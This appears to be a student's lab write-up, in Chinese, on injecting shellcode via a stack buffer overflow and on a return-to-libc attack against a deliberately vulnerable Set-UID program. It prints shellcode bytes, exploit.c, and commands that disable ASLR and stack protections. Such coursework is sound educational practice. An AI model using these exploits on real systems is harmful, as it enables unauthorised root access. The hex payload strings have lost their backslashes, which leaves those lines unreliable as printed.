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  • 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 《网络对抗》PC平台逆向破解:注入shellcode

    实验步骤

    1、用于获取shellcode的C语言代码

    2、设置环境

    Bof攻击防御技术

    • 需要手动设置环境使注入的shellcode到堆栈上可执行。
    • 具体在终端输入如下:
    
    	root@KaliYL:~# execstack -s pwnyx    //设置堆栈可执行
    	root@KaliYL:~# execstack -q pwnyx    //查询文件的堆栈是否可执行
    	X pwn1
    	root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    	2
    	root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    	root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    	0
    
    

    在输入前需要安装execstack

    
    	apt-cache search execstack
    	apt-get install execstack
    
    

    第一次安装并没有成功,在请教了张梓同学后得知是虚拟机没有连网,所以无法安装成功,需要关闭虚拟机,选择网络适配器将网桥改为net,再次打开虚拟机输入命令安装成功。

    3. 构造要注入的payload

    我们这个buf够放在shellcode,结构为:nops+shellcode+retaddr。nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

    • 在终端中输入如下:
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    
    • 上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
      特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。
    • 接下来确定x4x3x2x1到底该填什么。

    打开一个终端注入这段攻击buf:

    再开另外一个终端,用gdb来调试pwnyx这个进程,找到pwnyx的进程号

    //1、找到pwnyx的进程号是:2440

    //2、启动gdb调试这个进程

    ret完,就跳到我们覆盖的retaddr那个地方了

    通过设置断点,来查看注入buf的内存地址

    此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车

    通过如下方式寻找需要输入的地址:

    看到01020304了,就表明了这是返回地址的位置,也就是说0Xffffd32c是此时的位置。shellcode就紧紧的挨着这个地址,所以要输入地址是0xffffd330

    回到另一个终端(将之前那个终端quit退出),将input_shellcode修改如下:

    perl -e 'print "A" x 32;print "x30xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    并没有成功,查找原因。

    重新又来了一遍...结果发现是粘贴代码的时候x30xd3(我的输入地址)这里粘成x30xd6了...结果死活检查不出来,以后还是要细心一些。就当巩固知识了。

    成功。

    20145330 Return-to-libc 攻击实验

    一、实验描述

    在做过缓冲区溢出漏洞实验后,进行了本次实验。
    缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。但是保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。

    这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

    二、实验准备

    提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。

    1、输入命令安装一些用于编译 32 位 C 程序的东西:

    
    	sudo apt-get update
    	
    	sudo apt-get install lib32z1 libc6-dev-i386
    	
    	sudo apt-get install lib32readline-gplv2-dev
    
    

    2、输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash:

    三、实验步骤

    3.1 初始设置

    Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

    sudo sysctl -w kernel.randomize_va_space=0
    

    此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。

    linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序:

    
    	sudo su
    	
    	cd /bin
    	
    	rm sh
    	
    	ln -s zsh sh
    	
    	exit
    
    

    为了防止缓冲区溢出攻击,最近版本的 gcc 编译器默认将程序编译设置为栈不可执行,而你可以在编译的时候手动设置是否使栈不可执行:

    
    	gcc -z execstack -o test test.c    #栈可执行
    	
    	gcc -z noexecstack -o test test.c  #栈不可执行
    
    

    本次实验的目的,就是展示这个“栈不可执行”的保护措施并不是完全有效,所以我们使用“-z noexecstack”,或者不手动指定而使用编译器的默认设置。

    3.2 漏洞程序

    把以下代码保存为“retlib.c”文件,保存到 /tmp 目录下。代码如下:

    
    	#include <stdlib.h>
    	#include <stdio.h>
    	#include <string.h>
    	int bof(FILE *badfile)
    	{
    	char buffer[12];
    	/* The following statement has a buffer overflow problem */
    	fread(buffer, sizeof(char), 40, badfile);
    	return 1;
    	}
    	int main(int argc, char **argv)
    	{
    	FILE *badfile;
    	badfile = fopen("badfile", "r");
    	bof(badfile);
    	printf("Returned Properly
    ");
    	fclose(badfile);
    	return 1;
    	}
    
    

    编译该程序,并设置 SET-UID。命令如下:

    
    	sudo su
    	
    	gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
    	
    	chmod u+s retlib
    	
    	exit
    
    

    上述程序有一个缓冲区溢出漏洞,它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。

    我们还需要用到一个读取环境变量的程序:

    
    	/* getenvaddr.c */
    	#include <stdio.h>
    	#include <stdlib.h>
    	#include <string.h>
    	
    	int main(int argc, char const *argv[])
    	{
    	 char *ptr;
    	
    	 if(argc < 3){
    	    printf("Usage: %s <environment var> <target program name>
    ", argv[0]);
    	    exit(0);
    	    }
    	 ptr = getenv(argv[1]);
    	 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    	 printf("%s will be at %p
    ", argv[1], ptr);
    	 return 0;
    	}
    
    

    3.3 攻击程序

    把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:

    
    	/* exploit.c */
    	#include <stdlib.h>
    	#include <stdio.h>
    	#include <string.h>
    	int main(int argc, char **argv)
    	{
    	 char buf[40];
    	 FILE *badfile;
    	 badfile = fopen(".//badfile", "w");
    	
    	 strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
    	
    	 *(long *) &buf[32] =0x11111111; // "//bin//sh"
    	 *(long *) &buf[24] =0x22222222; // system()
    	 *(long *) &buf[36] =0x33333333; // exit()
    	 fwrite(buf, sizeof(buf), 1, badfile);
    	 fclose(badfile);
    	}
    
    

    代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取。

    3.4 获取内存地址

    1、用刚才的 getenvaddr 程序获得 BIN_SH 地址:

    我的地址为0xffffdef4

    2、gdb 获得 system 和 exit 地址:

    修改 exploit.c 文件,填上刚才找到的内存地址:

    删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c:

    3.5 攻击

    先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:

    运行攻击程序,生成badlife文件

    运行漏洞程序,可见攻击成功,获得了root权限。

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